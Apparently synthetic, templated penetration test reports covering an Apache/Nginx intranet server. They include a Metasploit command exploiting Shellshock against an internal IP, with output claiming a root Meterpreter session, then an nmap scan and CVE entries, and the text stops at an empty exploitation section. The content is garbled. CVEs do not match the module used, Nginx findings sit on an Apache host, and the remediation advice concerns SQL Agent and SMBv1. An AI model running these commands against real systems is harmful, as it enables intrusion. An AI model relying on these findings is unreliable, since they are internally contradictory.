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Command: msfconsole -q -x "use exploit/linux/http/apache_mod_cgi_bash_env_exec; set RHOSTS 192.168.22.33; set RPORT 80; exploit"
Output:
[*] Exploiting known vulnerabilities:
- CVE-2021-42013 (CVE-2021-42013)
- CVE-2021-41773 (CVE-2021-41773)
- CVE-2022-31813 (CVE-2022-31813)
[*] Started reverse TCP handler on port 80
[*] Sending payload...
[*] Sending stage (229 bytes)
[*] Meterpreter session 2 opened
[*] Session established
[*] Gained root access
[*] Connected to 192.168.22.33
[*] Post-exploitation modules available:
- shell
- upload
- download
- screenshot
=== Final Assessment ===
Overall Risk Rating: High
Confidence Level: High
Confidence Rationale: Vulnerability was verified through successful exploitation or unambiguous detection signatures
Key Findings:
- 2 critical vulnerabilities identified
- 5 high risk issues found
- System configuration needs hardening
Recommendations:
1. Regenerate session IDs after login and implement proper session invalidation. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls.
2. Configure SQL Agent to run under least privileged account. Enable job step security. Conduct privilege audit using tools like BloodHound for AD or LinPEAS for Linux. Implement just-in-time access controls where possible.
3. 1. Disable SMBv1 protocol completely 2. Apply all Windows security updates immediately 3. Restrict SMB access to authorized networks only 4. Enable SMB signing to prevent man-in-the-middle attacks Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls.
Next Steps:
- Address critical vulnerabilities within 24 hours
- Remediate high risk findings within 7 days
- Schedule retesting after fixes are implemented
- Conduct developer security training focusing on OWASP Top 10
--- END REPORT ---
=== Automated Penetration Test Report ===
Test ID: PT-2025-05-11-0101
Date: 2025-05-11 19:07:19
Tester: kwilson
Organization: Acme Security
Confidentiality: STRICTLY CONFIDENTIAL
Test Objective: perform authorized security testing of the Nginx web server (192.168.91.55)
Scope: Internal security assessment
Rules of Engagement: Standard
=== Discovery Phase ===
Tester: nmap -sV -O --script=banner -p80,443 192.168.91.55
Tool Output:
Starting Nmap 7.92 at 2025-05-11 19:07:19
Nmap scan report for 192.168.91.55
Host is up (0.26s latency).
MAC Address: 70:66:66:C6:94:74 (HP)
80/tcp open http Apache/2.4.41
443/tcp open http Apache/2.4.41
OS details: Linux 5.4.0-42-generic
OS CPE: cpe:/o:linux:linux_kernel:5.4
Network Distance: 2 hops
Service Info: Host: intranet.local
Nmap done: 1 IP address (1 host up) scanned in 24 seconds
=== Vulnerability Assessment ===
Tools used:
- OWASP ZAP: Active scanning, AJAX spidering, and automated vulnerability detection
- Burp Suite: Manual testing, session analysis, and business logic flaw identification
- Nmap scripts: Service enumeration and vulnerability verification
- Metasploit: Exploit verification and proof-of-concept testing
## Vulnerability 1: CVE-2022-41741 (Use-After-Free in ngx_http_proxy_module)
CVE: CVE-2022-41741
CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.7)
Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing
Test Method: nmap --script vuln -p80 192.168.91.55
Result:
Security vulnerability identified that could potentially compromise the Nginx web server. Further investigation recommended to determine exact risk profile.
Remediation: See vendor documentation
## Vulnerability 2: CVE-2021-23017 (1-byte Memory Overwrite in DNS Resolver)
CVE: CVE-2021-23017
CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.9)
Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing
Test Method: nmap --script vuln -p80 192.168.91.55
Result:
Security vulnerability identified that could potentially compromise the Nginx web server. Further investigation recommended to determine exact risk profile.
Remediation: See vendor documentation
=== Exploitation Phase ===